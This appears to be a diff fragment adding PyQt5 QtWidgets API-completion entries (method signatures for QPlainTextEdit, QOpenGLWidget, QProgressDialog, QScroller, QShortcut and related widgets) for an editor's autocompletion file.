+QtWidgets.QMessageBox.StandardButtons?1(QMessageBox.StandardButtons) +QtWidgets.QMessageBox.StandardButtons.__init__?1(self, QMessageBox.StandardButtons) +QtWidgets.QMouseEventTransition?1(QState sourceState=None) +QtWidgets.QMouseEventTransition.__init__?1(self, QState sourceState=None) +QtWidgets.QMouseEventTransition?1(QObject, QEvent.Type, Qt.MouseButton, QState sourceState=None) +QtWidgets.QMouseEventTransition.__init__?1(self, QObject, QEvent.Type, Qt.MouseButton, QState sourceState=None) +QtWidgets.QMouseEventTransition.button?4() -> Qt.MouseButton +QtWidgets.QMouseEventTransition.setButton?4(Qt.MouseButton) +QtWidgets.QMouseEventTransition.modifierMask?4() -> Qt.KeyboardModifiers +QtWidgets.QMouseEventTransition.setModifierMask?4(Qt.KeyboardModifiers) +QtWidgets.QMouseEventTransition.hitTestPath?4() -> QPainterPath +QtWidgets.QMouseEventTransition.setHitTestPath?4(QPainterPath) +QtWidgets.QMouseEventTransition.onTransition?4(QEvent) +QtWidgets.QMouseEventTransition.eventTest?4(QEvent) -> bool +QtWidgets.QOpenGLWidget.UpdateBehavior?10 +QtWidgets.QOpenGLWidget.UpdateBehavior.NoPartialUpdate?10 +QtWidgets.QOpenGLWidget.UpdateBehavior.PartialUpdate?10 +QtWidgets.QOpenGLWidget?1(QWidget parent=None, Qt.WindowFlags flags=Qt.WindowFlags()) +QtWidgets.QOpenGLWidget.__init__?1(self, QWidget parent=None, Qt.WindowFlags flags=Qt.WindowFlags()) +QtWidgets.QOpenGLWidget.setFormat?4(QSurfaceFormat) +QtWidgets.QOpenGLWidget.format?4() -> QSurfaceFormat +QtWidgets.QOpenGLWidget.isValid?4() -> bool +QtWidgets.QOpenGLWidget.makeCurrent?4() +QtWidgets.QOpenGLWidget.doneCurrent?4() +QtWidgets.QOpenGLWidget.context?4() -> QOpenGLContext +QtWidgets.QOpenGLWidget.defaultFramebufferObject?4() -> int +QtWidgets.QOpenGLWidget.grabFramebuffer?4() -> QImage +QtWidgets.QOpenGLWidget.aboutToCompose?4() +QtWidgets.QOpenGLWidget.frameSwapped?4() +QtWidgets.QOpenGLWidget.aboutToResize?4() +QtWidgets.QOpenGLWidget.resized?4() +QtWidgets.QOpenGLWidget.initializeGL?4() +QtWidgets.QOpenGLWidget.resizeGL?4(int, int) +QtWidgets.QOpenGLWidget.paintGL?4() +QtWidgets.QOpenGLWidget.paintEvent?4(QPaintEvent) +QtWidgets.QOpenGLWidget.resizeEvent?4(QResizeEvent) +QtWidgets.QOpenGLWidget.event?4(QEvent) -> bool +QtWidgets.QOpenGLWidget.metric?4(QPaintDevice.PaintDeviceMetric) -> int +QtWidgets.QOpenGLWidget.paintEngine?4() -> QPaintEngine +QtWidgets.QOpenGLWidget.setUpdateBehavior?4(QOpenGLWidget.UpdateBehavior) +QtWidgets.QOpenGLWidget.updateBehavior?4() -> QOpenGLWidget.UpdateBehavior +QtWidgets.QOpenGLWidget.textureFormat?4() -> int +QtWidgets.QOpenGLWidget.setTextureFormat?4(int) +QtWidgets.QPlainTextEdit.LineWrapMode?10 +QtWidgets.QPlainTextEdit.LineWrapMode.NoWrap?10 +QtWidgets.QPlainTextEdit.LineWrapMode.WidgetWidth?10 +QtWidgets.QPlainTextEdit?1(QWidget parent=None) +QtWidgets.QPlainTextEdit.__init__?1(self, QWidget parent=None) +QtWidgets.QPlainTextEdit?1(QString, QWidget parent=None) +QtWidgets.QPlainTextEdit.__init__?1(self, QString, QWidget parent=None) +QtWidgets.QPlainTextEdit.setDocument?4(QTextDocument) +QtWidgets.QPlainTextEdit.document?4() -> QTextDocument +QtWidgets.QPlainTextEdit.setTextCursor?4(QTextCursor) +QtWidgets.QPlainTextEdit.textCursor?4() -> QTextCursor +QtWidgets.QPlainTextEdit.isReadOnly?4() -> bool +QtWidgets.QPlainTextEdit.setReadOnly?4(bool) +QtWidgets.QPlainTextEdit.setTextInteractionFlags?4(Qt.TextInteractionFlags) +QtWidgets.QPlainTextEdit.textInteractionFlags?4() -> Qt.TextInteractionFlags +QtWidgets.QPlainTextEdit.mergeCurrentCharFormat?4(QTextCharFormat) +QtWidgets.QPlainTextEdit.setCurrentCharFormat?4(QTextCharFormat) +QtWidgets.QPlainTextEdit.currentCharFormat?4() -> QTextCharFormat +QtWidgets.QPlainTextEdit.tabChangesFocus?4() -> bool +QtWidgets.QPlainTextEdit.setTabChangesFocus?4(bool) +QtWidgets.QPlainTextEdit.setDocumentTitle?4(QString) +QtWidgets.QPlainTextEdit.documentTitle?4() -> QString +QtWidgets.QPlainTextEdit.isUndoRedoEnabled?4() -> bool +QtWidgets.QPlainTextEdit.setUndoRedoEnabled?4(bool) +QtWidgets.QPlainTextEdit.setMaximumBlockCount?4(int) +QtWidgets.QPlainTextEdit.maximumBlockCount?4() -> int +QtWidgets.QPlainTextEdit.lineWrapMode?4() -> QPlainTextEdit.LineWrapMode +QtWidgets.QPlainTextEdit.setLineWrapMode?4(QPlainTextEdit.LineWrapMode) +QtWidgets.QPlainTextEdit.wordWrapMode?4() -> QTextOption.WrapMode +QtWidgets.QPlainTextEdit.setWordWrapMode?4(QTextOption.WrapMode) +QtWidgets.QPlainTextEdit.setBackgroundVisible?4(bool) +QtWidgets.QPlainTextEdit.backgroundVisible?4() -> bool +QtWidgets.QPlainTextEdit.setCenterOnScroll?4(bool) +QtWidgets.QPlainTextEdit.centerOnScroll?4() -> bool +QtWidgets.QPlainTextEdit.find?4(QString, QTextDocument.FindFlags options=QTextDocument.FindFlags()) -> bool +QtWidgets.QPlainTextEdit.toPlainText?4() -> QString +QtWidgets.QPlainTextEdit.ensureCursorVisible?4() +QtWidgets.QPlainTextEdit.loadResource?4(int, QUrl) -> QVariant +QtWidgets.QPlainTextEdit.createStandardContextMenu?4() -> QMenu +QtWidgets.QPlainTextEdit.createStandardContextMenu?4(QPoint) -> QMenu +QtWidgets.QPlainTextEdit.cursorForPosition?4(QPoint) -> QTextCursor +QtWidgets.QPlainTextEdit.cursorRect?4(QTextCursor) -> QRect +QtWidgets.QPlainTextEdit.cursorRect?4() -> QRect +QtWidgets.QPlainTextEdit.overwriteMode?4() -> bool +QtWidgets.QPlainTextEdit.setOverwriteMode?4(bool) +QtWidgets.QPlainTextEdit.tabStopWidth?4() -> int +QtWidgets.QPlainTextEdit.setTabStopWidth?4(int) +QtWidgets.QPlainTextEdit.cursorWidth?4() -> int +QtWidgets.QPlainTextEdit.setCursorWidth?4(int) +QtWidgets.QPlainTextEdit.setExtraSelections?4(unknown-type) +QtWidgets.QPlainTextEdit.extraSelections?4() -> unknown-type +QtWidgets.QPlainTextEdit.moveCursor?4(QTextCursor.MoveOperation, QTextCursor.MoveMode mode=QTextCursor.MoveAnchor) +QtWidgets.QPlainTextEdit.canPaste?4() -> bool +QtWidgets.QPlainTextEdit.print_?4(QPagedPaintDevice) +QtWidgets.QPlainTextEdit.print?4(QPagedPaintDevice) +QtWidgets.QPlainTextEdit.blockCount?4() -> int +QtWidgets.QPlainTextEdit.setPlainText?4(QString) +QtWidgets.QPlainTextEdit.cut?4() +QtWidgets.QPlainTextEdit.copy?4() +QtWidgets.QPlainTextEdit.paste?4() +QtWidgets.QPlainTextEdit.undo?4() +QtWidgets.QPlainTextEdit.redo?4() +QtWidgets.QPlainTextEdit.clear?4() +QtWidgets.QPlainTextEdit.selectAll?4() +QtWidgets.QPlainTextEdit.insertPlainText?4(QString) +QtWidgets.QPlainTextEdit.appendPlainText?4(QString) +QtWidgets.QPlainTextEdit.appendHtml?4(QString) +QtWidgets.QPlainTextEdit.centerCursor?4() +QtWidgets.QPlainTextEdit.textChanged?4() +QtWidgets.QPlainTextEdit.undoAvailable?4(bool) +QtWidgets.QPlainTextEdit.redoAvailable?4(bool) +QtWidgets.QPlainTextEdit.copyAvailable?4(bool) +QtWidgets.QPlainTextEdit.selectionChanged?4() +QtWidgets.QPlainTextEdit.cursorPositionChanged?4() +QtWidgets.QPlainTextEdit.updateRequest?4(QRect, int) +QtWidgets.QPlainTextEdit.blockCountChanged?4(int) +QtWidgets.QPlainTextEdit.modificationChanged?4(bool) +QtWidgets.QPlainTextEdit.event?4(QEvent) -> bool +QtWidgets.QPlainTextEdit.timerEvent?4(QTimerEvent) +QtWidgets.QPlainTextEdit.keyPressEvent?4(QKeyEvent) +QtWidgets.QPlainTextEdit.keyReleaseEvent?4(QKeyEvent) +QtWidgets.QPlainTextEdit.resizeEvent?4(QResizeEvent) +QtWidgets.QPlainTextEdit.paintEvent?4(QPaintEvent) +QtWidgets.QPlainTextEdit.mousePressEvent?4(QMouseEvent) +QtWidgets.QPlainTextEdit.mouseMoveEvent?4(QMouseEvent) +QtWidgets.QPlainTextEdit.mouseReleaseEvent?4(QMouseEvent) +QtWidgets.QPlainTextEdit.mouseDoubleClickEvent?4(QMouseEvent) +QtWidgets.QPlainTextEdit.focusNextPrevChild?4(bool) -> bool +QtWidgets.QPlainTextEdit.contextMenuEvent?4(QContextMenuEvent) +QtWidgets.QPlainTextEdit.dragEnterEvent?4(QDragEnterEvent) +QtWidgets.QPlainTextEdit.dragLeaveEvent?4(QDragLeaveEvent) +QtWidgets.QPlainTextEdit.dragMoveEvent?4(QDragMoveEvent) +QtWidgets.QPlainTextEdit.dropEvent?4(QDropEvent) +QtWidgets.QPlainTextEdit.focusInEvent?4(QFocusEvent) +QtWidgets.QPlainTextEdit.focusOutEvent?4(QFocusEvent) +QtWidgets.QPlainTextEdit.showEvent?4(QShowEvent) +QtWidgets.QPlainTextEdit.changeEvent?4(QEvent) +QtWidgets.QPlainTextEdit.wheelEvent?4(QWheelEvent) +QtWidgets.QPlainTextEdit.inputMethodEvent?4(QInputMethodEvent) +QtWidgets.QPlainTextEdit.inputMethodQuery?4(Qt.InputMethodQuery) -> QVariant +QtWidgets.QPlainTextEdit.createMimeDataFromSelection?4() -> QMimeData +QtWidgets.QPlainTextEdit.canInsertFromMimeData?4(QMimeData) -> bool +QtWidgets.QPlainTextEdit.insertFromMimeData?4(QMimeData) +QtWidgets.QPlainTextEdit.scrollContentsBy?4(int, int) +QtWidgets.QPlainTextEdit.firstVisibleBlock?4() -> QTextBlock +QtWidgets.QPlainTextEdit.contentOffset?4() -> QPointF +QtWidgets.QPlainTextEdit.blockBoundingRect?4(QTextBlock) -> QRectF +QtWidgets.QPlainTextEdit.blockBoundingGeometry?4(QTextBlock) -> QRectF +QtWidgets.QPlainTextEdit.getPaintContext?4() -> QAbstractTextDocumentLayout.PaintContext +QtWidgets.QPlainTextEdit.anchorAt?4(QPoint) -> QString +QtWidgets.QPlainTextEdit.zoomIn?4(int range=1) +QtWidgets.QPlainTextEdit.zoomOut?4(int range=1) +QtWidgets.QPlainTextEdit.setPlaceholderText?4(QString) +QtWidgets.QPlainTextEdit.placeholderText?4() -> QString +QtWidgets.QPlainTextEdit.find?4(QRegExp, QTextDocument.FindFlags options=QTextDocument.FindFlags()) -> bool +QtWidgets.QPlainTextEdit.find?4(QRegularExpression, QTextDocument.FindFlags options=QTextDocument.FindFlags()) -> bool +QtWidgets.QPlainTextEdit.inputMethodQuery?4(Qt.InputMethodQuery, QVariant) -> QVariant +QtWidgets.QPlainTextEdit.tabStopDistance?4() -> float +QtWidgets.QPlainTextEdit.setTabStopDistance?4(float) +QtWidgets.QPlainTextDocumentLayout?1(QTextDocument) +QtWidgets.QPlainTextDocumentLayout.__init__?1(self, QTextDocument) +QtWidgets.QPlainTextDocumentLayout.draw?4(QPainter, QAbstractTextDocumentLayout.PaintContext) +QtWidgets.QPlainTextDocumentLayout.hitTest?4(QPointF, Qt.HitTestAccuracy) -> int +QtWidgets.QPlainTextDocumentLayout.pageCount?4() -> int +QtWidgets.QPlainTextDocumentLayout.documentSize?4() -> QSizeF +QtWidgets.QPlainTextDocumentLayout.frameBoundingRect?4(QTextFrame) -> QRectF +QtWidgets.QPlainTextDocumentLayout.blockBoundingRect?4(QTextBlock) -> QRectF +QtWidgets.QPlainTextDocumentLayout.ensureBlockLayout?4(QTextBlock) +QtWidgets.QPlainTextDocumentLayout.setCursorWidth?4(int) +QtWidgets.QPlainTextDocumentLayout.cursorWidth?4() -> int +QtWidgets.QPlainTextDocumentLayout.requestUpdate?4() +QtWidgets.QPlainTextDocumentLayout.documentChanged?4(int, int, int) +QtWidgets.QProgressBar.Direction?10 +QtWidgets.QProgressBar.Direction.TopToBottom?10 +QtWidgets.QProgressBar.Direction.BottomToTop?10 +QtWidgets.QProgressBar?1(QWidget parent=None) +QtWidgets.QProgressBar.__init__?1(self, QWidget parent=None) +QtWidgets.QProgressBar.minimum?4() -> int +QtWidgets.QProgressBar.maximum?4() -> int +QtWidgets.QProgressBar.setRange?4(int, int) +QtWidgets.QProgressBar.value?4() -> int +QtWidgets.QProgressBar.text?4() -> QString +QtWidgets.QProgressBar.setTextVisible?4(bool) +QtWidgets.QProgressBar.isTextVisible?4() -> bool +QtWidgets.QProgressBar.alignment?4() -> Qt.Alignment +QtWidgets.QProgressBar.setAlignment?4(Qt.Alignment) +QtWidgets.QProgressBar.sizeHint?4() -> QSize +QtWidgets.QProgressBar.minimumSizeHint?4() -> QSize +QtWidgets.QProgressBar.orientation?4() -> Qt.Orientation +QtWidgets.QProgressBar.setInvertedAppearance?4(bool) +QtWidgets.QProgressBar.setTextDirection?4(QProgressBar.Direction) +QtWidgets.QProgressBar.setFormat?4(QString) +QtWidgets.QProgressBar.format?4() -> QString +QtWidgets.QProgressBar.resetFormat?4() +QtWidgets.QProgressBar.reset?4() +QtWidgets.QProgressBar.setMinimum?4(int) +QtWidgets.QProgressBar.setMaximum?4(int) +QtWidgets.QProgressBar.setValue?4(int) +QtWidgets.QProgressBar.setOrientation?4(Qt.Orientation) +QtWidgets.QProgressBar.valueChanged?4(int) +QtWidgets.QProgressBar.initStyleOption?4(QStyleOptionProgressBar) +QtWidgets.QProgressBar.event?4(QEvent) -> bool +QtWidgets.QProgressBar.paintEvent?4(QPaintEvent) +QtWidgets.QProgressDialog?1(QWidget parent=None, Qt.WindowFlags flags=Qt.WindowFlags()) +QtWidgets.QProgressDialog.__init__?1(self, QWidget parent=None, Qt.WindowFlags flags=Qt.WindowFlags()) +QtWidgets.QProgressDialog?1(QString, QString, int, int, QWidget parent=None, Qt.WindowFlags flags=Qt.WindowFlags()) +QtWidgets.QProgressDialog.__init__?1(self, QString, QString, int, int, QWidget parent=None, Qt.WindowFlags flags=Qt.WindowFlags()) +QtWidgets.QProgressDialog.setLabel?4(QLabel) +QtWidgets.QProgressDialog.setCancelButton?4(QPushButton) +QtWidgets.QProgressDialog.setBar?4(QProgressBar) +QtWidgets.QProgressDialog.wasCanceled?4() -> bool +QtWidgets.QProgressDialog.minimum?4() -> int +QtWidgets.QProgressDialog.maximum?4() -> int +QtWidgets.QProgressDialog.setRange?4(int, int) +QtWidgets.QProgressDialog.value?4() -> int +QtWidgets.QProgressDialog.sizeHint?4() -> QSize +QtWidgets.QProgressDialog.labelText?4() -> QString +QtWidgets.QProgressDialog.minimumDuration?4() -> int +QtWidgets.QProgressDialog.setAutoReset?4(bool) +QtWidgets.QProgressDialog.autoReset?4() -> bool +QtWidgets.QProgressDialog.setAutoClose?4(bool) +QtWidgets.QProgressDialog.autoClose?4() -> bool +QtWidgets.QProgressDialog.cancel?4() +QtWidgets.QProgressDialog.reset?4() +QtWidgets.QProgressDialog.setMaximum?4(int) +QtWidgets.QProgressDialog.setMinimum?4(int) +QtWidgets.QProgressDialog.setValue?4(int) +QtWidgets.QProgressDialog.setLabelText?4(QString) +QtWidgets.QProgressDialog.setCancelButtonText?4(QString) +QtWidgets.QProgressDialog.setMinimumDuration?4(int) +QtWidgets.QProgressDialog.canceled?4() +QtWidgets.QProgressDialog.resizeEvent?4(QResizeEvent) +QtWidgets.QProgressDialog.closeEvent?4(QCloseEvent) +QtWidgets.QProgressDialog.changeEvent?4(QEvent) +QtWidgets.QProgressDialog.showEvent?4(QShowEvent) +QtWidgets.QProgressDialog.forceShow?4() +QtWidgets.QProgressDialog.open?4() +QtWidgets.QProgressDialog.open?4(object) +QtWidgets.QProxyStyle?1(QStyle style=None) +QtWidgets.QProxyStyle.__init__?1(self, QStyle style=None) +QtWidgets.QProxyStyle?1(QString) +QtWidgets.QProxyStyle.__init__?1(self, QString) +QtWidgets.QProxyStyle.baseStyle?4() -> QStyle +QtWidgets.QProxyStyle.setBaseStyle?4(QStyle) +QtWidgets.QProxyStyle.drawPrimitive?4(QStyle.PrimitiveElement, QStyleOption, QPainter, QWidget widget=None) +QtWidgets.QProxyStyle.drawControl?4(QStyle.ControlElement, QStyleOption, QPainter, QWidget widget=None) +QtWidgets.QProxyStyle.drawComplexControl?4(QStyle.ComplexControl, QStyleOptionComplex, QPainter, QWidget widget=None) +QtWidgets.QProxyStyle.drawItemText?4(QPainter, QRect, int, QPalette, bool, QString, QPalette.ColorRole textRole=QPalette.NoRole) +QtWidgets.QProxyStyle.drawItemPixmap?4(QPainter, QRect, int, QPixmap) +QtWidgets.QProxyStyle.sizeFromContents?4(QStyle.ContentsType, QStyleOption, QSize, QWidget) -> QSize +QtWidgets.QProxyStyle.subElementRect?4(QStyle.SubElement, QStyleOption, QWidget) -> QRect +QtWidgets.QProxyStyle.subControlRect?4(QStyle.ComplexControl, QStyleOptionComplex, QStyle.SubControl, QWidget) -> QRect +QtWidgets.QProxyStyle.itemTextRect?4(QFontMetrics, QRect, int, bool, QString) -> QRect +QtWidgets.QProxyStyle.itemPixmapRect?4(QRect, int, QPixmap) -> QRect +QtWidgets.QProxyStyle.hitTestComplexControl?4(QStyle.ComplexControl, QStyleOptionComplex, QPoint, QWidget widget=None) -> QStyle.SubControl +QtWidgets.QProxyStyle.styleHint?4(QStyle.StyleHint, QStyleOption option=None, QWidget widget=None, QStyleHintReturn returnData=None) -> int +QtWidgets.QProxyStyle.pixelMetric?4(QStyle.PixelMetric, QStyleOption option=None, QWidget widget=None) -> int +QtWidgets.QProxyStyle.layoutSpacing?4(QSizePolicy.ControlType, QSizePolicy.ControlType, Qt.Orientation, QStyleOption option=None, QWidget widget=None) -> int +QtWidgets.QProxyStyle.standardIcon?4(QStyle.StandardPixmap, QStyleOption option=None, QWidget widget=None) -> QIcon +QtWidgets.QProxyStyle.standardPixmap?4(QStyle.StandardPixmap, QStyleOption, QWidget widget=None) -> QPixmap +QtWidgets.QProxyStyle.generatedIconPixmap?4(QIcon.Mode, QPixmap, QStyleOption) -> QPixmap +QtWidgets.QProxyStyle.standardPalette?4() -> QPalette +QtWidgets.QProxyStyle.polish?4(QWidget) +QtWidgets.QProxyStyle.polish?4(QPalette) -> QPalette +QtWidgets.QProxyStyle.polish?4(QApplication) +QtWidgets.QProxyStyle.unpolish?4(QWidget) +QtWidgets.QProxyStyle.unpolish?4(QApplication) +QtWidgets.QProxyStyle.event?4(QEvent) -> bool +QtWidgets.QRadioButton?1(QWidget parent=None) +QtWidgets.QRadioButton.__init__?1(self, QWidget parent=None) +QtWidgets.QRadioButton?1(QString, QWidget parent=None) +QtWidgets.QRadioButton.__init__?1(self, QString, QWidget parent=None) +QtWidgets.QRadioButton.sizeHint?4() -> QSize +QtWidgets.QRadioButton.minimumSizeHint?4() -> QSize +QtWidgets.QRadioButton.initStyleOption?4(QStyleOptionButton) +QtWidgets.QRadioButton.hitButton?4(QPoint) -> bool +QtWidgets.QRadioButton.event?4(QEvent) -> bool +QtWidgets.QRadioButton.paintEvent?4(QPaintEvent) +QtWidgets.QRadioButton.mouseMoveEvent?4(QMouseEvent) +QtWidgets.QRubberBand.Shape?10 +QtWidgets.QRubberBand.Shape.Line?10 +QtWidgets.QRubberBand.Shape.Rectangle?10 +QtWidgets.QRubberBand?1(QRubberBand.Shape, QWidget parent=None) +QtWidgets.QRubberBand.__init__?1(self, QRubberBand.Shape, QWidget parent=None) +QtWidgets.QRubberBand.shape?4() -> QRubberBand.Shape +QtWidgets.QRubberBand.setGeometry?4(QRect) +QtWidgets.QRubberBand.setGeometry?4(int, int, int, int) +QtWidgets.QRubberBand.move?4(QPoint) +QtWidgets.QRubberBand.move?4(int, int) +QtWidgets.QRubberBand.resize?4(int, int) +QtWidgets.QRubberBand.resize?4(QSize) +QtWidgets.QRubberBand.initStyleOption?4(QStyleOptionRubberBand) +QtWidgets.QRubberBand.event?4(QEvent) -> bool +QtWidgets.QRubberBand.paintEvent?4(QPaintEvent) +QtWidgets.QRubberBand.changeEvent?4(QEvent) +QtWidgets.QRubberBand.showEvent?4(QShowEvent) +QtWidgets.QRubberBand.resizeEvent?4(QResizeEvent) +QtWidgets.QRubberBand.moveEvent?4(QMoveEvent) +QtWidgets.QScrollArea?1(QWidget parent=None) +QtWidgets.QScrollArea.__init__?1(self, QWidget parent=None) +QtWidgets.QScrollArea.widget?4() -> QWidget +QtWidgets.QScrollArea.setWidget?4(QWidget) +QtWidgets.QScrollArea.takeWidget?4() -> QWidget +QtWidgets.QScrollArea.widgetResizable?4() -> bool +QtWidgets.QScrollArea.setWidgetResizable?4(bool) +QtWidgets.QScrollArea.alignment?4() -> Qt.Alignment +QtWidgets.QScrollArea.setAlignment?4(Qt.Alignment) +QtWidgets.QScrollArea.sizeHint?4() -> QSize +QtWidgets.QScrollArea.focusNextPrevChild?4(bool) -> bool +QtWidgets.QScrollArea.ensureVisible?4(int, int, int xMargin=50, int yMargin=50) +QtWidgets.QScrollArea.ensureWidgetVisible?4(QWidget, int xMargin=50, int yMargin=50) +QtWidgets.QScrollArea.event?4(QEvent) -> bool +QtWidgets.QScrollArea.eventFilter?4(QObject, QEvent) -> bool +QtWidgets.QScrollArea.resizeEvent?4(QResizeEvent) +QtWidgets.QScrollArea.scrollContentsBy?4(int, int) +QtWidgets.QScrollArea.viewportSizeHint?4() -> QSize +QtWidgets.QScrollBar?1(QWidget parent=None) +QtWidgets.QScrollBar.__init__?1(self, QWidget parent=None) +QtWidgets.QScrollBar?1(Qt.Orientation, QWidget parent=None) +QtWidgets.QScrollBar.__init__?1(self, Qt.Orientation, QWidget parent=None) +QtWidgets.QScrollBar.sizeHint?4() -> QSize +QtWidgets.QScrollBar.event?4(QEvent) -> bool +QtWidgets.QScrollBar.initStyleOption?4(QStyleOptionSlider) +QtWidgets.QScrollBar.paintEvent?4(QPaintEvent) +QtWidgets.QScrollBar.mousePressEvent?4(QMouseEvent) +QtWidgets.QScrollBar.mouseReleaseEvent?4(QMouseEvent) +QtWidgets.QScrollBar.mouseMoveEvent?4(QMouseEvent) +QtWidgets.QScrollBar.hideEvent?4(QHideEvent) +QtWidgets.QScrollBar.contextMenuEvent?4(QContextMenuEvent) +QtWidgets.QScrollBar.wheelEvent?4(QWheelEvent) +QtWidgets.QScrollBar.sliderChange?4(QAbstractSlider.SliderChange) +QtWidgets.QScroller.Input?10 +QtWidgets.QScroller.Input.InputPress?10 +QtWidgets.QScroller.Input.InputMove?10 +QtWidgets.QScroller.Input.InputRelease?10 +QtWidgets.QScroller.ScrollerGestureType?10 +QtWidgets.QScroller.ScrollerGestureType.TouchGesture?10 +QtWidgets.QScroller.ScrollerGestureType.LeftMouseButtonGesture?10 +QtWidgets.QScroller.ScrollerGestureType.RightMouseButtonGesture?10 +QtWidgets.QScroller.ScrollerGestureType.MiddleMouseButtonGesture?10 +QtWidgets.QScroller.State?10 +QtWidgets.QScroller.State.Inactive?10 +QtWidgets.QScroller.State.Pressed?10 +QtWidgets.QScroller.State.Dragging?10 +QtWidgets.QScroller.State.Scrolling?10 +QtWidgets.QScroller.hasScroller?4(QObject) -> bool +QtWidgets.QScroller.scroller?4(QObject) -> QScroller +QtWidgets.QScroller.grabGesture?4(QObject, QScroller.ScrollerGestureType scrollGestureType=QScroller.TouchGesture) -> Qt.GestureType +QtWidgets.QScroller.grabbedGesture?4(QObject) -> Qt.GestureType +QtWidgets.QScroller.ungrabGesture?4(QObject) +QtWidgets.QScroller.activeScrollers?4() -> unknown-type +QtWidgets.QScroller.target?4() -> QObject +QtWidgets.QScroller.state?4() -> QScroller.State +QtWidgets.QScroller.handleInput?4(QScroller.Input, QPointF, int timestamp=0) -> bool +QtWidgets.QScroller.stop?4() +QtWidgets.QScroller.velocity?4() -> QPointF +QtWidgets.QScroller.finalPosition?4() -> QPointF +QtWidgets.QScroller.pixelPerMeter?4() -> QPointF +QtWidgets.QScroller.scrollerProperties?4() -> QScrollerProperties +QtWidgets.QScroller.setSnapPositionsX?4(unknown-type) +QtWidgets.QScroller.setSnapPositionsX?4(float, float) +QtWidgets.QScroller.setSnapPositionsY?4(unknown-type) +QtWidgets.QScroller.setSnapPositionsY?4(float, float) +QtWidgets.QScroller.setScrollerProperties?4(QScrollerProperties) +QtWidgets.QScroller.scrollTo?4(QPointF) +QtWidgets.QScroller.scrollTo?4(QPointF, int) +QtWidgets.QScroller.ensureVisible?4(QRectF, float, float) +QtWidgets.QScroller.ensureVisible?4(QRectF, float, float, int) +QtWidgets.QScroller.resendPrepareEvent?4() +QtWidgets.QScroller.stateChanged?4(QScroller.State) +QtWidgets.QScroller.scrollerPropertiesChanged?4(QScrollerProperties) +QtWidgets.QScrollerProperties.ScrollMetric?10 +QtWidgets.QScrollerProperties.ScrollMetric.MousePressEventDelay?10 +QtWidgets.QScrollerProperties.ScrollMetric.DragStartDistance?10 +QtWidgets.QScrollerProperties.ScrollMetric.DragVelocitySmoothingFactor?10 +QtWidgets.QScrollerProperties.ScrollMetric.AxisLockThreshold?10 +QtWidgets.QScrollerProperties.ScrollMetric.ScrollingCurve?10 +QtWidgets.QScrollerProperties.ScrollMetric.DecelerationFactor?10 +QtWidgets.QScrollerProperties.ScrollMetric.MinimumVelocity?10 +QtWidgets.QScrollerProperties.ScrollMetric.MaximumVelocity?10 +QtWidgets.QScrollerProperties.ScrollMetric.MaximumClickThroughVelocity?10 +QtWidgets.QScrollerProperties.ScrollMetric.AcceleratingFlickMaximumTime?10 +QtWidgets.QScrollerProperties.ScrollMetric.AcceleratingFlickSpeedupFactor?10 +QtWidgets.QScrollerProperties.ScrollMetric.SnapPositionRatio?10 +QtWidgets.QScrollerProperties.ScrollMetric.SnapTime?10 +QtWidgets.QScrollerProperties.ScrollMetric.OvershootDragResistanceFactor?10 +QtWidgets.QScrollerProperties.ScrollMetric.OvershootDragDistanceFactor?10 +QtWidgets.QScrollerProperties.ScrollMetric.OvershootScrollDistanceFactor?10 +QtWidgets.QScrollerProperties.ScrollMetric.OvershootScrollTime?10 +QtWidgets.QScrollerProperties.ScrollMetric.HorizontalOvershootPolicy?10 +QtWidgets.QScrollerProperties.ScrollMetric.VerticalOvershootPolicy?10 +QtWidgets.QScrollerProperties.ScrollMetric.FrameRate?10 +QtWidgets.QScrollerProperties.ScrollMetric.ScrollMetricCount?10 +QtWidgets.QScrollerProperties.FrameRates?10 +QtWidgets.QScrollerProperties.FrameRates.Standard?10 +QtWidgets.QScrollerProperties.FrameRates.Fps60?10 +QtWidgets.QScrollerProperties.FrameRates.Fps30?10 +QtWidgets.QScrollerProperties.FrameRates.Fps20?10 +QtWidgets.QScrollerProperties.OvershootPolicy?10 +QtWidgets.QScrollerProperties.OvershootPolicy.OvershootWhenScrollable?10 +QtWidgets.QScrollerProperties.OvershootPolicy.OvershootAlwaysOff?10 +QtWidgets.QScrollerProperties.OvershootPolicy.OvershootAlwaysOn?10 +QtWidgets.QScrollerProperties?1() +QtWidgets.QScrollerProperties.__init__?1(self) +QtWidgets.QScrollerProperties?1(QScrollerProperties) +QtWidgets.QScrollerProperties.__init__?1(self, QScrollerProperties) +QtWidgets.QScrollerProperties.setDefaultScrollerProperties?4(QScrollerProperties) +QtWidgets.QScrollerProperties.unsetDefaultScrollerProperties?4() +QtWidgets.QScrollerProperties.scrollMetric?4(QScrollerProperties.ScrollMetric) -> QVariant +QtWidgets.QScrollerProperties.setScrollMetric?4(QScrollerProperties.ScrollMetric, QVariant) +QtWidgets.QShortcut?1(QWidget) +QtWidgets.QShortcut.__init__?1(self, QWidget) +QtWidgets.QShortcut?1(QKeySequence, QWidget, object member=0, object ambiguousMember=0, Qt.ShortcutContext context=Qt.WindowShortcut) +QtWidgets.QShortcut.__init__?1(self, QKeySequence, QWidget, object member=0, object ambiguousMember=0, Qt.ShortcutContext context=Qt.WindowShortcut) +QtWidgets.QShortcut.setKey?4(QKeySequence) +QtWidgets.QShortcut.key?4() -> QKeySequence +QtWidgets.QShortcut.setEnabled?4(bool) +QtWidgets.QShortcut.isEnabled?4() -> bool +QtWidgets.QShortcut.setContext?4(Qt.ShortcutContext) +QtWidgets.QShortcut.context?4() -> Qt.ShortcutContext +QtWidgets.QShortcut.setWhatsThis?4(QString) +QtWidgets.QShortcut.whatsThis?4() -> QString +QtWidgets.QShortcut.id?4() -> int +QtWidgets.QShortcut.parentWidget?4() -> QWidget +QtWidgets.QShortcut.setAutoRepeat?4(bool) +QtWidgets.QShortcut.autoRepeat?4() -> bool +QtWidgets.QShortcut.activated?4() +QtWidgets.QShortcut.activatedAmbiguously?4() +QtWidgets.QShortcut.event?4(QEvent) -> bool +QtWidgets.QSizeGrip?1(QWidget) +QtWidgets.QSizeGrip.__init__?1(self, QWidget) +QtWidgets.QSizeGrip.sizeHint?4() -> QSize +QtWidgets.QSizeGrip.setVisible?4(bool) +QtWidgets.QSizeGrip.paintEvent?4(QPaintEvent) +QtWidgets.QSizeGrip.mousePressEvent?4(QMouseEvent) +QtWidgets.QSizeGrip.mouseReleaseEvent?4(QMouseEvent) +QtWidgets.QSizeGrip.mouseMoveEvent?4(QMouseEvent) +QtWidgets.QSizeGrip.eventFilter?4(QObject, QEvent) -> bool +QtWidgets.QSizeGrip.event?4(QEvent) -> bool +QtWidgets.QSizeGrip.moveEvent?4(QMoveEvent) +QtWidgets.QSizeGrip.showEvent?4(QShowEvent) 